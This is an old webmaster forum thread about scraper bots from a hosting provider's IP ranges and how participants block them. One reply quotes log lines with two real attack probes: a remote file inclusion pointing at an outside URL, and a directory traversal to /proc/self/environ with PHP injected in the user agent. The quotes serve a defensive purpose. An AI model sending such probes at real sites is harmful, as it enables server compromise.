homepage Welcome to WebmasterWorld Guest from 54.211.190.232
register, free tools, login, search, subscribe, help, library, announcements, recent posts, open posts,
Subscribe and Support WebmasterWorld
Visit PubCon.com
Home / Forums Index / Search Engines / Search Engine Spider and User Agent Identification
Forum Library, Charter, Moderators: Ocean10000 & incrediBILL

Search Engine Spider and User Agent Identification Forum

    
Total Domain Data Corp
Just got a total eclipse of the heart...
caribguy




msg:3918903
 5:14 am on May 23, 2009 (gmt 0)

I guess I should have blocked ThePlanet a lot earlier than I did, noticed this today:

www.widgetcenter.com 74.52.245.nnn - - [22/May/2009:02:13:23 -0500] "GET / HTTP/1.0" 403 269 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"
www.widgethaven.com 74.52.245.nnn - - [22/May/2009:02:14:17 -0500] "GET / HTTP/1.0" 403 272 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"
www.widgetoutlet.net 74.52.245.nnn - - [22/May/2009:02:14:24 -0500] "GET / HTTP/1.0" 403 269 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"
www.widgetpro.com 74.52.245.nnn - - [22/May/2009:02:14:32 -0500] "GET / HTTP/1.0" 403 268 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"
www.widgetshop.com 74.52.245.nnn - - [22/May/2009:02:14:45 -0500] "GET / HTTP/1.0" 403 270 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"
www.widgettexas.com 74.52.245.nnn - - [22/May/2009:02:14:56 -0500] "GET / HTTP/1.0" 403 269 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"
www.widgetcity.net 74.52.245.nnn - - [22/May/2009:02:15:10 -0500] "GET / HTTP/1.0" 403 272 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"
www.widgetnyc.com 74.52.245.nnn - - [22/May/2009:02:15:17 -0500] "GET / HTTP/1.0" 403 270 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"

The outfit's homepage displays a customer login form on an otherwise blank page. Googling brings up a somewhat panicky forum response that states the company engages in targeted "stalking" activities - e.g. someone has to specifically pay for it.

Can any of you confirm / deny this and perhaps provide some more insight in what these lovely people do?

I notice that these gentle folks were only interested in widget domains, which coincidentally also happen to have multiple registrants. However: other domains these people own, or other sites hosted on this server were not touched...

 

enigma1




msg:3918946
 8:50 am on May 23, 2009 (gmt 0)

Both ev1servers.net and theplanet.com are blocked in my case. My logs show continuous hack attempts, spam emails with ips from there etc. Plus you wouldn't normally expect requests from those servers.

In your case you don't even need to check the ip, the fact the HTTP 1/0 header shows with a UA that pretends to be a regular browser (let aside the UA string) should constitute a block.

Another thing to check is whether an ip responds to port 80 requests. Thats another signal unless you specifically whitelist the ip.

Couple of examples from my logs near your range. I removed the domain related info from the uris:

74.52.107.nnn - - [08/May/2009:15:10:38 -0400] "GET /errors.php?error=http://www.example.com/rfi_attempt.txt? HTTP/1.1" 301 20 "-" "libwww-perl/5.814"

74.52.137.nnn - - [14/May/2009:01:45:50 -0400] "GET /includes/include_once.php?include_file=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 301 20 "-" "#*$!<? echo \"w0000t\"; ?>#*$!"

I don't think they care on what their clients do. Abandoned server installations, opened cpanels, compromised systems, open proxies you name it.

[edited by: incrediBILL at 8:08 pm (utc) on May 28, 2009]
[edit reason] Obscured IPs [/edit]

thetrasher




msg:3919071
 3:25 pm on May 23, 2009 (gmt 0)

noticed this today
I see their bot since 2007.

other domains these people own, or other sites hosted on this server were not touched...
Two of my domains were not touched. The only reason was incorrect whois data: Since the correction of the street numbers in the whois data, their bot visits all my sites.

[edited by: thetrasher at 3:35 pm (utc) on May 23, 2009]

wilderness




msg:3919072
 3:26 pm on May 23, 2009 (gmt 0)

Linux

The volume of valid widget users towards my sites that are using Linux presents no loss of traffic based upon denial of that OS.

blend27




msg:3919136
 7:50 pm on May 23, 2009 (gmt 0)

Never mind the Gecko/20041107 Firefox/1.0,

That FF was last updated even before I Joined this forum... what are they thinking?

Any-boo, ThePlanet * always = 403, since always is a whole constant, ThePlanet = 403.

caribguy




msg:3919142
 7:58 pm on May 23, 2009 (gmt 0)

The bot may have well been there a lot longer.

I have only started monitoring things closely after a video/chat site I built for a client became hugely popular and my upstream provider hit me with a big bandwidth bill ;) Turned out a small percentage of users were online 24/7, with multiple connections, etc... While analyzing that traffic, I also saw a huge amount of scraping going on. With the help of WebmasterWorld members I've been cutting down unwanted access ever since. As you can see, bots from ThePlanet were already receiving 403 responses.

In the meantime, some friends and I have developed the "widget" sites. Only a few are actively being worked on, but each of us regularly acquires new widget domains for possible future use. In our vertical, the owners of a comparable property just sold out to a large corporation and another company had a successful IPO. That should explain why I'm really interested in finding out the motivation behind this sudden interest for widgets...

@enigma1: yes, visitors with questionable behavior often live in the same net neighborhoods.

@thetrasher: I'll take a look at the registration data for these domains to see if I can find a pattern - very helpful, thanks!

@wilderness: without a doubt. I have blocks set on various UA's and other header info.

The question still remains, is it time to put a few bottles of bubbly in the fridge or should we retain counsel?

Megaclinium




msg:3919579
 4:31 am on May 25, 2009 (gmt 0)

I had a couple similar hack attempts from rackspace IPs, have banned the whole range.

Global Options:
 top home search open messages active posts  
 

Home / Forums Index / Search Engines / Search Engine Spider and User Agent Identification
rss feed

All trademarks and copyrights held by respective owners. Member comments are owned by the poster.
Terms of Service ¦ Privacy Policy ¦ Report Problem ¦ About
© Webmaster World 1996-2014 all rights reserved